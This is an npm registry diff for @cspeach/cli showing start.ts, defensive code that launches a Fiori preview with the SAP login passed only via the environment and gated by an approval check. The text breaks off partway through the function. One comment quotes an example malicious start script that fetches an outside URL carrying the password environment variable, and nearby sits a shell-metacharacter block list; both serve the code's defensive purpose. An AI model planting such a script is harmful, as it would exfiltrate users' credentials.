@cspeach/cli 1.1.18 → 1.1.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/README.md +3 -4
  2. package/dist/agent/loop.js +143 -25
  3. package/dist/agent/providers/local-provider.js +4 -1
  4. package/dist/agent/repair-partial.js +76 -19
  5. package/dist/agent/tool-dispatch.js +58 -21
  6. package/dist/agent/turn-error-ux.js +77 -26
  7. package/dist/agent/turn-stream.js +25 -3
  8. package/dist/approvals/adt-type.js +27 -0
  9. package/dist/approvals/advisory-prompt.js +48 -0
  10. package/dist/approvals/advisory-render.js +25 -11
  11. package/dist/approvals/approval-prompt.js +74 -24
  12. package/dist/approvals/jwt.js +2 -1
  13. package/dist/approvals/render.js +64 -36
  14. package/dist/approvals/risk-floor.js +53 -2
  15. package/dist/auth/api-key.js +30 -16
  16. package/dist/auth/keychain.js +0 -0
  17. package/dist/auth/me.js +25 -7
  18. package/dist/cli.js +25 -6
  19. package/dist/commands/compact.js +12 -9
  20. package/dist/commands/config-set.js +6 -2
  21. package/dist/commands/config-show.js +7 -5
  22. package/dist/commands/cost.js +41 -34
  23. package/dist/commands/help.js +88 -50
  24. package/dist/commands/login.js +28 -19
  25. package/dist/commands/logout.js +7 -3
  26. package/dist/commands/plan-chain.js +71 -77
  27. package/dist/commands/plan-continue.js +1 -0
  28. package/dist/commands/plan-resume.js +20 -12
  29. package/dist/commands/whoami.js +23 -9
  30. package/dist/config/loader.js +15 -3
  31. package/dist/cost/pricing.js +6 -5
  32. package/dist/doctor/checks/forge-rules.js +13 -3
  33. package/dist/doctor/checks/keychain.js +6 -4
  34. package/dist/doctor/run.js +101 -20
  35. package/dist/index.js +5 -2
  36. package/dist/lib/graceful-exit.js +56 -0
  37. package/dist/lib/piped-prompt.js +65 -0
  38. package/dist/lock-contention.js +2 -2
  39. package/dist/one-shot.js +135 -40
  40. package/dist/projects/answer-blockers.js +6 -1
  41. package/dist/projects/handover-md.js +15 -14
  42. package/dist/projects/plan-run.js +97 -54
  43. package/dist/projects/promote-command.js +11 -2
  44. package/dist/projects/save-command.js +3 -2
  45. package/dist/projects/status.js +2 -1
  46. package/dist/projects/yes-no.js +12 -0
  47. package/dist/renderer/abap-inline.js +18 -14
  48. package/dist/renderer/answer-trim.js +69 -0
  49. package/dist/renderer/banners.js +8 -8
  50. package/dist/renderer/brand-settled.js +19 -0
  51. package/dist/renderer/change-card.js +156 -0
  52. package/dist/renderer/checklist-format.js +130 -0
  53. package/dist/renderer/color-mode.js +45 -0
  54. package/dist/renderer/error-detail.js +104 -0
  55. package/dist/renderer/fence-state.js +46 -0
  56. package/dist/renderer/footer-line.js +96 -0
  57. package/dist/renderer/glyphs.js +25 -0
  58. package/dist/renderer/goodbye.js +38 -0
  59. package/dist/renderer/legacy-palette.js +41 -0
  60. package/dist/renderer/look.js +30 -0
  61. package/dist/renderer/markdown.js +299 -92
  62. package/dist/renderer/notice-log.js +72 -0
  63. package/dist/renderer/notice-shape.js +48 -0
  64. package/dist/renderer/notices.js +40 -8
  65. package/dist/renderer/panel-rows.js +16 -0
  66. package/dist/renderer/pipeline.js +66 -0
  67. package/dist/renderer/progress-chatter.js +23 -17
  68. package/dist/renderer/rendering-mode.js +34 -0
  69. package/dist/renderer/routing-line.js +14 -0
  70. package/dist/renderer/sanitize.js +12 -0
  71. package/dist/renderer/severity.js +2 -7
  72. package/dist/renderer/startup-lines.js +152 -0
  73. package/dist/renderer/status-footer.js +52 -34
  74. package/dist/renderer/steering-echo.js +41 -0
  75. package/dist/renderer/syntax.js +31 -12
  76. package/dist/renderer/tables.js +5 -1
  77. package/dist/renderer/theme.js +44 -0
  78. package/dist/renderer/thinking-heartbeat.js +33 -2
  79. package/dist/renderer/todo-block.js +10 -49
  80. package/dist/renderer/tool-labels.js +238 -0
  81. package/dist/renderer/tool-widget.js +245 -51
  82. package/dist/renderer/trace.js +42 -0
  83. package/dist/renderer/transcript-flow.js +132 -0
  84. package/dist/renderer/tty.js +34 -1
  85. package/dist/renderer/ui-width.js +42 -0
  86. package/dist/renderer/verify-chain.js +4 -2
  87. package/dist/renderer/widget-fallback.js +58 -65
  88. package/dist/repl/bracketed-paste.js +7 -1
  89. package/dist/repl/builtin-commands.js +19 -8
  90. package/dist/repl/credential-handover-gate.js +28 -0
  91. package/dist/repl/early-line-buffer.js +5 -2
  92. package/dist/repl/file-picker.js +54 -12
  93. package/dist/repl/ink-stdin-guard.js +66 -0
  94. package/dist/repl/inquirer-guard.js +59 -16
  95. package/dist/repl/inquirer-theme.js +27 -33
  96. package/dist/repl/paste-marker.js +19 -0
  97. package/dist/repl/plan-turn-end.js +20 -0
  98. package/dist/repl/post-turn-status.js +36 -11
  99. package/dist/repl/reroute-turn.js +21 -0
  100. package/dist/repl/reset-tty-stdin.js +44 -0
  101. package/dist/repl/restore-guard.js +22 -0
  102. package/dist/repl/resume-standalone.js +63 -0
  103. package/dist/repl/rule8-detector.js +11 -3
  104. package/dist/repl/safety-confirm.js +161 -93
  105. package/dist/repl/session-spend-line.js +8 -4
  106. package/dist/repl/themed-prompts.js +19 -0
  107. package/dist/repl/ui-look-command.js +75 -0
  108. package/dist/repl/update-method-preview-hook.js +48 -5
  109. package/dist/repl.js +795 -332
  110. package/dist/rewind/cli.js +3 -2
  111. package/dist/rewind/format.js +14 -9
  112. package/dist/rewind/restore.js +11 -0
  113. package/dist/router/classifier.js +47 -4
  114. package/dist/router/intent-extractor.js +24 -8
  115. package/dist/router/piped-routing.js +23 -0
  116. package/dist/router/resume-routing.js +16 -0
  117. package/dist/router/routing-failure.js +57 -0
  118. package/dist/sap/first-run-choice.js +1 -1
  119. package/dist/sap/onboarding.js +3 -2
  120. package/dist/sap/standalone-onboarding.js +1 -1
  121. package/dist/sap/system-info.js +4 -2
  122. package/dist/sap/unreachable.js +28 -0
  123. package/dist/sap-errors/clean-error-text.js +182 -0
  124. package/dist/session/interrupt-reason.js +39 -0
  125. package/dist/session/recap.js +36 -24
  126. package/dist/session/resume.js +104 -36
  127. package/dist/session/store.js +69 -27
  128. package/dist/session/user-prompt.js +21 -0
  129. package/dist/skill-catalog.js +7 -0
  130. package/dist/skills/bundled-skills.js +76 -69
  131. package/dist/standards/standards-init.js +1 -1
  132. package/dist/test-helpers/answer-any.js +46 -0
  133. package/dist/tools/approval.js +27 -11
  134. package/dist/tools/ask-question.js +47 -5
  135. package/dist/tools/filesystem/file-write.js +19 -2
  136. package/dist/tools/fiori/fe-extend.js +16 -1
  137. package/dist/tools/fiori/fe-scaffold.js +105 -3
  138. package/dist/tools/fiori/html-escapes.js +28 -0
  139. package/dist/tools/fiori/metadata/audit.js +605 -0
  140. package/dist/tools/fiori/metadata/references.js +104 -0
  141. package/dist/tools/fiori/metadata/types.js +8 -0
  142. package/dist/tools/fiori/preview/app-guard.js +215 -0
  143. package/dist/tools/fiori/preview/env.js +193 -0
  144. package/dist/tools/fiori/preview/readiness.js +127 -0
  145. package/dist/tools/fiori/preview/registry.js +412 -0
  146. package/dist/tools/fiori/preview/start.js +469 -0
  147. package/dist/tools/fiori/samples/loader.js +20 -5
  148. package/dist/tools/fiori/scaffold.js +18 -6
  149. package/dist/tools/fiori/smoke/app-driver-page.js +372 -0
  150. package/dist/tools/fiori/smoke/app-driver.js +100 -0
  151. package/dist/tools/fiori/smoke/assertions.js +161 -24
  152. package/dist/tools/fiori/smoke/audit-columns.js +21 -0
  153. package/dist/tools/fiori/smoke/batch.js +273 -0
  154. package/dist/tools/fiori/smoke/draft-safety.js +241 -0
  155. package/dist/tools/fiori/smoke/draft-smoke.js +473 -0
  156. package/dist/tools/fiori/smoke/driver.js +171 -4
  157. package/dist/tools/fiori/smoke/evidence.js +35 -0
  158. package/dist/tools/fiori/smoke/labels-codes.js +207 -0
  159. package/dist/tools/fiori/smoke/nav-error.js +26 -0
  160. package/dist/tools/fiori/smoke/run-smoke.js +155 -12
  161. package/dist/tools/fiori/tools.js +651 -7
  162. package/dist/tools/fiori/ui5-version.js +16 -0
  163. package/dist/tools/index.js +8 -0
  164. package/dist/tools/local-build.js +6 -0
  165. package/dist/tools/sap-read.js +16 -1
  166. package/dist/tools/sap-write.js +122 -10
  167. package/dist/tools/shell/shell_exec.js +30 -12
  168. package/dist/tools/syntax-state.js +67 -0
  169. package/dist/tools/todo.js +23 -18
  170. package/dist/tools/transport-fit.js +462 -0
  171. package/dist/tools/transport-resolution.js +3 -1
  172. package/dist/tools/transport.js +33 -7
  173. package/dist/tools/verify.js +184 -8
  174. package/dist/ui/app.js +284 -146
  175. package/dist/ui/approval-modal.js +41 -15
  176. package/dist/ui/ask-answer-text.js +17 -0
  177. package/dist/ui/body.js +25 -6
  178. package/dist/ui/card-slot.js +98 -0
  179. package/dist/ui/checklist.js +9 -0
  180. package/dist/ui/coaching-picker-classic.js +8 -5
  181. package/dist/ui/command-palette.js +6 -4
  182. package/dist/ui/confirm-request.js +18 -0
  183. package/dist/ui/context-grid.js +2 -1
  184. package/dist/ui/file-palette.js +6 -4
  185. package/dist/ui/files-card-emitter.js +19 -0
  186. package/dist/ui/footer-line.js +16 -0
  187. package/dist/ui/footer.js +105 -104
  188. package/dist/ui/input-wrap.js +122 -0
  189. package/dist/ui/interrupt.js +103 -0
  190. package/dist/ui/key-burst.js +117 -0
  191. package/dist/ui/line-resolution.js +4 -3
  192. package/dist/ui/live-area.js +71 -0
  193. package/dist/ui/login-banner.js +54 -43
  194. package/dist/ui/rewind-panel.js +76 -24
  195. package/dist/ui/role-props.js +47 -0
  196. package/dist/ui/sap-state-store.js +1 -0
  197. package/dist/ui/session-timeline.js +49 -3
  198. package/dist/ui/skill-picker.js +5 -47
  199. package/dist/ui/text-input.js +128 -24
  200. package/dist/ui/todo-emitter.js +19 -0
  201. package/dist/ui/turn-status-emitter.js +28 -2
  202. package/dist/ui/turn-status.js +16 -19
  203. package/dist/ui/use-card-request.js +44 -0
  204. package/dist/ui/widgets/ask-card.js +521 -0
  205. package/dist/ui/widgets/bar-chart.js +11 -5
  206. package/dist/ui/widgets/coaching-picker.js +50 -55
  207. package/dist/ui/widgets/confirm-card.js +193 -0
  208. package/dist/ui/widgets/dep-graph.js +3 -2
  209. package/dist/ui/widgets/diff-viewer.js +6 -5
  210. package/dist/ui/widgets/files-card.js +97 -0
  211. package/dist/ui/widgets/question-card.js +2 -1
  212. package/dist/ui/widgets/reclaim-raw-stdin.js +24 -0
  213. package/dist/ui/widgets/shortcuts-sheet.js +25 -0
  214. package/dist/ui/widgets/stack-frames.js +2 -1
  215. package/dist/upgrade-check.js +39 -8
  216. package/package.json +11 -2
  217. package/test-harness/fe-draft/app.ts +188 -0
  218. package/test-harness/fe-draft/fe-draft.e2e.test.ts +461 -0
  219. package/test-harness/fe-draft/manifest-enhancer.unit.test.ts +51 -0
  220. package/test-harness/fe-draft/routes.ts +224 -0
  221. package/test-harness/fe-draft/routes.unit.test.ts +45 -0
  222. package/test-harness/fe-draft/server.ts +225 -0
  223. package/test-harness/fe-draft/variants.ts +196 -0
  224. package/vitest.smoke-e2e.config.ts +20 -0
@@ -0,0 +1,469 @@
1
+ // cspeach-cli/src/tools/fiori/preview/start.ts
2
+ /**
3
+ * L1-6 — bring a Fiori preview up, reliably, with TLS verification ON and the
4
+ * SAP login supplied without ever touching a file.
5
+ *
6
+ * WHAT JULY TAUGHT US (and what each step here is for)
7
+ * ----------------------------------------------------
8
+ * - The first boot died on the certificate and nobody could see why, because
9
+ * the child's stderr was never captured. → every failure here carries the
10
+ * child's stderr TAIL (scrubbed).
11
+ * - A second start left servers on :8080 AND :8081 with nobody able to say
12
+ * which one the browser was looking at. → one entry per app dir, reuse when
13
+ * it is alive, and a tree kill when it is not.
14
+ * - "the port answered" was treated as "the preview works". → readiness needs
15
+ * BOTH the app and the backend leg ($metadata through the proxy).
16
+ *
17
+ * WHAT NEVER HAPPENS
18
+ * ------------------
19
+ * - No prompt. A headless run must never hang waiting for a password
20
+ * (connection-manager.ts's B5 guard is the precedent) — a missing keychain
21
+ * entry is a fast, actionable error.
22
+ * - No file. The password and the CA path reach the child only through its
23
+ * process environment; nothing is written to `.env`, `ui5.yaml` or a temp
24
+ * file.
25
+ * - No certificate check is disabled, ever. There is no `ignoreCertErrors`
26
+ * path here, no `NODE_TLS_REJECT_UNAUTHORIZED`, no
27
+ * `--ignore-certificate-errors`. An alias configured `insecure` still gets
28
+ * its preview — this task changes nobody's existing posture — but the result
29
+ * says so out loud and points at `sap.<alias>.ca_cert_path`.
30
+ */
31
+ import crossSpawn from 'cross-spawn';
32
+ import { promises as fs } from 'node:fs';
33
+ import * as http from 'node:http';
34
+ import * as net from 'node:net';
35
+ import * as path from 'node:path';
36
+ import { randomUUID } from 'node:crypto';
37
+ import { loadConfig as realLoadConfig, resolveSapTls } from '../../../config/loader.js';
38
+ import keychain from '../../../auth/keychain.js';
39
+ import { resolveExecutable } from '../../_command-shared.js';
40
+ import { buildPreviewEnv, scrubSecrets, tlsNoteFor } from './env.js';
41
+ import { waitForPreview } from './readiness.js';
42
+ import { lifecycleProblem, loginNeed, readStartScript } from './app-guard.js';
43
+ import { registerPreview, findPreviewByAppDir, findChildById, forgetPreview, childIsLive, stopPreview, killProcessTree, installPreviewExitHandler, markPendingChild, unmarkPendingChild, previewKeyFor, } from './registry.js';
44
+ /** Same keychain service the connection manager reads (connection-manager.ts:7). */
45
+ export const PREVIEW_KEYCHAIN_SERVICE = 'cspeach-sap';
46
+ /** A cold UI5 CDN load plus the first backend round-trip is genuinely slow. */
47
+ export const DEFAULT_BUDGET_MS = 120_000;
48
+ /** How many lines of the child's stdout/stderr we keep for the failure tail. */
49
+ export const TAIL_LINES = 20;
50
+ /** Ask the OS for a free port, then release it. */
51
+ export function pickFreePort() {
52
+ return new Promise((resolve, reject) => {
53
+ const srv = net.createServer();
54
+ srv.once('error', reject);
55
+ srv.listen(0, '127.0.0.1', () => {
56
+ const addr = srv.address();
57
+ const port = addr.port;
58
+ srv.close((err) => (err ? reject(err) : resolve(port)));
59
+ });
60
+ });
61
+ }
62
+ /**
63
+ * The default readiness probe: a plain loopback HTTP GET. The preview itself is
64
+ * http on 127.0.0.1, so there is no TLS here — the TLS that matters is the one
65
+ * BETWEEN the preview proxy and SAP, and that is the child's
66
+ * NODE_EXTRA_CA_CERTS' business.
67
+ */
68
+ export function httpProbe(url, timeoutMs = 5_000) {
69
+ return new Promise((resolve, reject) => {
70
+ const req = http.get(url, { headers: { accept: '*/*' } }, (res) => {
71
+ res.resume(); // drain, we only need the status
72
+ resolve({ status: res.statusCode ?? 0 });
73
+ });
74
+ req.setTimeout(timeoutMs, () => {
75
+ req.destroy(Object.assign(new Error(`timed out after ${timeoutMs}ms`), { code: 'ETIMEDOUT' }));
76
+ });
77
+ req.on('error', reject);
78
+ });
79
+ }
80
+ /** Bounded tail of a child stream — the last TAIL_LINES lines, nothing more. */
81
+ class Tail {
82
+ lines = [];
83
+ partial = '';
84
+ push(chunk) {
85
+ this.partial += chunk;
86
+ const parts = this.partial.split(/\r?\n/);
87
+ this.partial = parts.pop() ?? '';
88
+ for (const l of parts) {
89
+ this.lines.push(l);
90
+ if (this.lines.length > TAIL_LINES)
91
+ this.lines.shift();
92
+ }
93
+ }
94
+ text() {
95
+ const all = this.partial.length > 0 ? [...this.lines, this.partial] : this.lines;
96
+ return all.slice(-TAIL_LINES).join('\n');
97
+ }
98
+ }
99
+ function describeOutcome(o) {
100
+ return `${o.reason}: ${o.detail}`;
101
+ }
102
+ /**
103
+ * Starts in flight, keyed by the normalised app dir (F-5). Two concurrent
104
+ * `start` calls for one directory used to spawn two servers, the second
105
+ * silently replacing the first in the registry and leaving its tree
106
+ * unreachable by `stop`, `list` and the exit path — ':8080 beside :8081'
107
+ * again. Now the second call awaits the first and reports `reused`.
108
+ */
109
+ const inFlight = new Map();
110
+ export async function startPreview(args, deps = {}) {
111
+ const key = previewKeyFor(args.appDir);
112
+ // F-7: with no explicit entry, preview the page the app's own `npm start` opens.
113
+ const entryFile = args.entryFile ?? defaultEntryFile(await readStartScript(path.resolve(args.appDir)));
114
+ args = { ...args, entryFile };
115
+ // Loop: several callers may be queued behind one start; each re-checks the door.
116
+ for (let running = inFlight.get(key); running; running = inFlight.get(key)) {
117
+ const first = await running.promise;
118
+ // R1-8: only the SAME target is a reuse (F-9). Another alias or entry page
119
+ // waits for the first start, then goes through the normal path, which
120
+ // stops that preview and starts its own.
121
+ if (running.alias === args.alias && running.entryFile.replace(/^\/+/, '') === entryFile.replace(/^\/+/, '')) {
122
+ return first.ok ? { ...first, reused: true } : first;
123
+ }
124
+ }
125
+ const promise = startPreviewInner(args, deps).finally(() => { inFlight.delete(key); });
126
+ inFlight.set(key, { alias: args.alias, entryFile, promise });
127
+ return promise;
128
+ }
129
+ /** Bounds for the model-supplied readiness budget (F-11). */
130
+ export const MIN_BUDGET_MS = 5_000;
131
+ export const MAX_BUDGET_MS = 300_000;
132
+ /** A preview entry page: a relative path, optionally with a query/hash. */
133
+ const ENTRY_FILE_RE = /^[A-Za-z0-9._\-/]+(\?[A-Za-z0-9._\-=&%]*)?(#[A-Za-z0-9._\-]*)?$/;
134
+ /**
135
+ * The ONLY start scripts we will hand the SAP password to (F-10).
136
+ *
137
+ * Before this tool, no CSPeach tool gave project code the SAP password —
138
+ * `shell_exec`'s environment is stripped precisely for that. `npm run start`
139
+ * runs whatever `scripts.start` says, in a directory the model can write, so a
140
+ * planted or prompt-injected `"start": "node -e \"fetch('https://x/'+process.env.FIORI_TOOLS_PASSWORD)\""`
141
+ * would exfiltrate it. The script must therefore be a known preview server and
142
+ * carry no shell plumbing.
143
+ */
144
+ const ALLOWED_START_SCRIPT_RE = /^\s*(fiori run|ui5 serve)(\s|$)/;
145
+ // R1-3: `%` and `!` too — cmd.exe expands %VAR% (and !VAR! under delayed
146
+ // expansion) when npm runs the script, which would put the login on the
147
+ // preview's command line and in the browser URL.
148
+ const SHELL_METACHARS = /[&|;<>^`$(){}%!\r\n]/;
149
+ /**
150
+ * L1-2b F-7: the default preview entry is the page the app's own `npm start`
151
+ * opens (`fiori run --open "<page>"`), else index.html.
152
+ *
153
+ * Why not always index.html: a Fiori Elements V4 app opened standalone has no
154
+ * sap.ushell.Container, so sap.fe.core falls back to its NavigationServicesMock
155
+ * — which in UI5 1.120.x (still in 1.136; fixed by 1.152) lacks
156
+ * storeInnerAppStateAsync, while sap.fe.core's AppStateHandler calls it when it
157
+ * stores app state (pressing Go): "TypeError: …storeInnerAppStateAsync is not a
158
+ * function". That is SAP's code, not ours; the scaffold's start script opens the
159
+ * FLP sandbox (test/flpSandbox.html#<intent>), where the real service exists.
160
+ * A value that is not a plain relative page path is ignored, never followed.
161
+ */
162
+ export function defaultEntryFile(startScript) {
163
+ const m = startScript ? /--open\s+(?:"([^"]+)"|'([^']+)'|(\S+))/.exec(startScript) : null;
164
+ const opened = m ? (m[1] ?? m[2] ?? m[3] ?? '') : '';
165
+ if (opened) {
166
+ const checked = validateEntryFile(opened);
167
+ if ('entryFile' in checked)
168
+ return checked.entryFile;
169
+ }
170
+ return 'index.html';
171
+ }
172
+ function validateEntryFile(raw) {
173
+ const stripped = raw.replace(/^\/+/, '');
174
+ if (stripped.length === 0)
175
+ return { error: 'entryFile must not be empty' };
176
+ if (!ENTRY_FILE_RE.test(stripped) || stripped.split('/').includes('..')) {
177
+ return {
178
+ error: `entryFile "${raw}" is not a plain relative page path — expected something like ` +
179
+ '"index.html" or "test/flpSandbox.html" (no "..", no backslash, no control characters)',
180
+ };
181
+ }
182
+ return { entryFile: stripped };
183
+ }
184
+ function clampBudget(raw) {
185
+ if (raw === undefined || !Number.isFinite(raw))
186
+ return DEFAULT_BUDGET_MS;
187
+ return Math.min(MAX_BUDGET_MS, Math.max(MIN_BUDGET_MS, Math.floor(raw)));
188
+ }
189
+ async function startPreviewInner(args, deps = {}) {
190
+ // Whatever happens next, a preview must not outlive this CLI process.
191
+ installPreviewExitHandler();
192
+ const appDir = path.resolve(args.appDir);
193
+ const checkedEntry = validateEntryFile(args.entryFile ?? 'index.html');
194
+ if ('error' in checkedEntry)
195
+ return { ok: false, error: checkedEntry.error };
196
+ const entryFile = checkedEntry.entryFile;
197
+ const budgetMs = clampBudget(args.budgetMs);
198
+ const kill = deps.kill ?? killProcessTree;
199
+ const probe = deps.readiness?.probe ?? ((url) => httpProbe(url));
200
+ // A REAL timer (not an instantly-resolved promise): the poll loop has to
201
+ // yield to the macrotask queue, or the child's own 'exit'/'data' events can
202
+ // never be delivered while we wait. Deliberately NOT unref'd — the wait is
203
+ // bounded by the budget and must keep the process alive until it resolves.
204
+ const sleep = deps.readiness?.sleep ?? ((ms) => new Promise((r) => { setTimeout(r, ms); }));
205
+ // ── 1. The alias, and its TLS posture ────────────────────────────────────
206
+ const loadCfg = deps.loadConfig ?? realLoadConfig;
207
+ let system;
208
+ try {
209
+ const cfg = await loadCfg();
210
+ system = cfg.sap?.[args.alias];
211
+ }
212
+ catch (err) {
213
+ return { ok: false, error: `could not read the CSPeach config — ${err instanceof Error ? err.message : String(err)}` };
214
+ }
215
+ if (!system) {
216
+ return {
217
+ ok: false,
218
+ error: `unknown SAP alias "${args.alias}" — configure it first (cspeach config set sap.${args.alias}.host …)`,
219
+ };
220
+ }
221
+ const tls = resolveSapTls(system);
222
+ // ── 2. Reuse an existing, LIVE preview for this app dir ──────────────────
223
+ // One entry per directory is the whole point: without it a second start
224
+ // leaves :8080 beside :8081 and nobody can say which one is being checked.
225
+ // Note this runs BEFORE the keychain read — reusing must not need a secret.
226
+ const replacedWarnings = [];
227
+ const existing = findPreviewByAppDir(appDir);
228
+ if (existing) {
229
+ // F-9: a preview for a DIFFERENT alias or a different entry page is not a
230
+ // reuse candidate — returning it would smoke the wrong backend with the
231
+ // wrong login while the result's TLS line describes the alias asked for.
232
+ const sameTarget = existing.alias === args.alias && existing.entry === entryFile;
233
+ let alive = false;
234
+ try {
235
+ const res = await probe(existing.url);
236
+ alive = res.status >= 200 && res.status < 300;
237
+ }
238
+ catch {
239
+ alive = false;
240
+ }
241
+ if (alive && sameTarget) {
242
+ return {
243
+ ok: true,
244
+ entry: existing,
245
+ tlsNote: tlsNoteFor(tls),
246
+ insecureFallback: tls.mode === 'insecure',
247
+ reused: true,
248
+ // A reused preview keeps the environment it was started with.
249
+ loginPassed: existing.loginPassed ?? true,
250
+ warnings: insecureWarnings(tls.mode, args.alias),
251
+ };
252
+ }
253
+ if (alive) {
254
+ // Live, but for another alias/entry. Stop OUR child (a tree kill that
255
+ // only touches a process this session still holds), then start fresh.
256
+ const stopped = await stopPreview(existing.previewId);
257
+ replacedWarnings.push(`a preview for this app was already running against alias ${existing.alias} (${existing.entry}); ` +
258
+ `it was stopped and a new one started for ${args.alias} (${entryFile})` +
259
+ (stopped.portClosed ? '' : ` — warning: port ${existing.port} still answers`));
260
+ }
261
+ else {
262
+ // F-3.4: ONE failed probe is not proof of death (a 5s timeout under load,
263
+ // a 404 on the entry page). Never kill by remembered pid. If this session
264
+ // still holds a LIVE handle, stop that child properly; otherwise just
265
+ // forget the entry — its pid may since have been recycled by the OS.
266
+ const child = findChildById(existing.previewId);
267
+ if (childIsLive(child)) {
268
+ await stopPreview(existing.previewId);
269
+ }
270
+ else {
271
+ forgetPreview(existing.previewId);
272
+ }
273
+ }
274
+ }
275
+ // ── 3. The app directory must be an npm project we may hand a password ───
276
+ let startScript;
277
+ let scripts;
278
+ try {
279
+ const raw = await fs.readFile(path.join(appDir, 'package.json'), 'utf8');
280
+ const pkg = JSON.parse(raw);
281
+ scripts = pkg.scripts;
282
+ const value = pkg.scripts?.start;
283
+ startScript = typeof value === 'string' ? value : undefined;
284
+ }
285
+ catch (err) {
286
+ return {
287
+ ok: false,
288
+ error: `could not read ${path.join(appDir, 'package.json')} — the preview runs "npm run start" there, ` +
289
+ `so scaffold the app first (${err instanceof Error ? err.message : String(err)})`,
290
+ };
291
+ }
292
+ if (startScript === undefined) {
293
+ return { ok: false, error: `package.json in ${appDir} has no "start" script — the preview has nothing to run` };
294
+ }
295
+ if (!ALLOWED_START_SCRIPT_RE.test(startScript) || SHELL_METACHARS.test(startScript)) {
296
+ return {
297
+ ok: false,
298
+ error: `refusing to start: the SAP login for alias '${args.alias}' would be handed to this command, and it ` +
299
+ `is not a recognised preview server.\n"start": ${JSON.stringify(startScript)}\n` +
300
+ 'Expected a plain "fiori run …" or "ui5 serve …" with no shell plumbing (no & | ; < > ^ ` $ ( ) { } % !).',
301
+ };
302
+ }
303
+ // R1-2: npm's pre/post hooks and a project .npmrc run code around "start".
304
+ const lifecycle = await lifecycleProblem(appDir, scripts);
305
+ if (lifecycle !== null)
306
+ return { ok: false, error: lifecycle };
307
+ // R1-4 + round 2b: ONE decision (app-guard.ts loginNeed) — the proxy sends
308
+ // the login to ui5.yaml's backend, which must be this alias's host; no
309
+ // backend url at all means the preview starts WITHOUT the login.
310
+ const need = await loginNeed(appDir, startScript, args.alias, system);
311
+ if ('refuse' in need)
312
+ return { ok: false, error: need.refuse };
313
+ const loginPassed = need.need === 'login';
314
+ // TOCTOU: the approval hook ran its own copy of the decision before this
315
+ // handler. If the app gained a backend since (or this path was reached
316
+ // without the gate), no human approved this handover — refuse.
317
+ if (loginPassed && !(deps.isLoginApproved ?? (() => false))(args.alias)) {
318
+ return {
319
+ ok: false,
320
+ error: `refusing to start: this app now needs the SAP login for alias ${args.alias}, but handing it over was ` +
321
+ 'not approved in this session (the app\'s ui5 config may have changed after the check). Start the ' +
322
+ 'preview again so the approval prompt can be shown.',
323
+ };
324
+ }
325
+ // ── 4. Credentials — keychain only, never a prompt, never a file ─────────
326
+ let password;
327
+ if (loginPassed) {
328
+ const getPassword = deps.getPassword ?? ((s, a) => keychain.getPassword(s, a));
329
+ let stored = null;
330
+ try {
331
+ stored = await getPassword(PREVIEW_KEYCHAIN_SERVICE, args.alias);
332
+ }
333
+ catch {
334
+ stored = null; // keychain unavailable — handled as "no stored password"
335
+ }
336
+ if (!stored) {
337
+ return {
338
+ ok: false,
339
+ error: `no stored password for SAP alias '${args.alias}' — the preview proxy answers the backend's ` +
340
+ 'basic-auth challenge with it and cannot prompt. Store it once (run cspeach interactively, ' +
341
+ 'or use cspeach config) and start the preview again.',
342
+ };
343
+ }
344
+ password = stored;
345
+ }
346
+ // ── 5. The child environment ─────────────────────────────────────────────
347
+ const { env, insecureFallback, tlsNote } = buildPreviewEnv({
348
+ baseEnv: deps.baseEnv ?? process.env,
349
+ tls,
350
+ ...(password !== undefined ? { username: system.username, password } : {}),
351
+ });
352
+ // ── 6. A free port, and npm ──────────────────────────────────────────────
353
+ let port;
354
+ try {
355
+ port = await (deps.pickPort ?? pickFreePort)();
356
+ }
357
+ catch (err) {
358
+ return { ok: false, error: `could not pick a free port — ${err instanceof Error ? err.message : String(err)}` };
359
+ }
360
+ const resolveNpm = deps.resolveNpm ?? (() => resolveExecutable('npm'));
361
+ const npmPath = await resolveNpm();
362
+ if (npmPath === null) {
363
+ return { ok: false, error: 'npm is not installed on this system (not found on PATH) — the preview needs it to run "npm run start"' };
364
+ }
365
+ // ── 7. Spawn ─────────────────────────────────────────────────────────────
366
+ // The ABSOLUTE PATH-resolved npm (never the bare name): cross-spawn resolves
367
+ // a bare name cwd-first on Windows, which a planted `npm.cmd` in the project
368
+ // tree could hijack — the same reasoning as shell_exec.ts / background_run.ts.
369
+ // cross-spawn still wraps an absolute `.cmd` through cmd.exe with per-arg
370
+ // escaping, which is what makes Node >= 20.12 spawn a `.cmd` at all
371
+ // (shell:false + .cmd is EINVAL since CVE-2024-27980).
372
+ //
373
+ // detached: POSIX only. There the child must LEAD its own process group so
374
+ // the whole group (npm → sh → the ui5 server) can be signalled at once. On
375
+ // Windows there are no groups — taskkill /T walks the tree instead — and
376
+ // detached would only pop a console window.
377
+ const spawn = deps.spawn ?? crossSpawn;
378
+ let child;
379
+ try {
380
+ // R1-2: --ignore-scripts — npm still runs "start" itself but skips the
381
+ // pre/post hooks (refused above as well, so this is belt and braces).
382
+ child = spawn(npmPath, ['run', 'start', '--ignore-scripts', '--', '--port', String(port)], {
383
+ cwd: appDir,
384
+ env,
385
+ windowsHide: true,
386
+ shell: false,
387
+ detached: process.platform !== 'win32',
388
+ stdio: ['ignore', 'pipe', 'pipe'],
389
+ });
390
+ }
391
+ catch (err) {
392
+ return { ok: false, error: `could not start the preview — ${scrubSecrets(err instanceof Error ? err.message : String(err), password, system.username)}` };
393
+ }
394
+ // F-5: the child is not in the registry until it is READY, which can be two
395
+ // minutes away. Track it from this instant so quitting the CLI during the
396
+ // wait sweeps it instead of orphaning it.
397
+ markPendingChild(child);
398
+ // ── 8. Capture the child's output — the July failure was invisible ───────
399
+ const stderrTail = new Tail();
400
+ const stdoutTail = new Tail();
401
+ child.stdout?.on('data', (c) => stdoutTail.push(String(c)));
402
+ child.stderr?.on('data', (c) => stderrTail.push(String(c)));
403
+ let exited = false;
404
+ let exitCode = null;
405
+ let exitSignal = null;
406
+ child.on('exit', (code, signal) => { exited = true; exitCode = code; exitSignal = signal; });
407
+ child.on('error', (err) => { exited = true; stderrTail.push(`spawn error: ${err.message}\n`); });
408
+ // ── 9. Readiness, with a hard stop as soon as the child is gone ──────────
409
+ // `now` jumps past the budget once the child exits, so a dead child ends the
410
+ // wait on the next tick instead of burning the full 120s.
411
+ const t0 = Date.now();
412
+ const now = deps.readiness?.now ?? (() => (exited ? t0 + budgetMs + 1 : Date.now()));
413
+ const url = `http://localhost:${port}/${entryFile}`;
414
+ const outcome = await waitForPreview(url, args.servicePath, budgetMs, { probe, now, sleep });
415
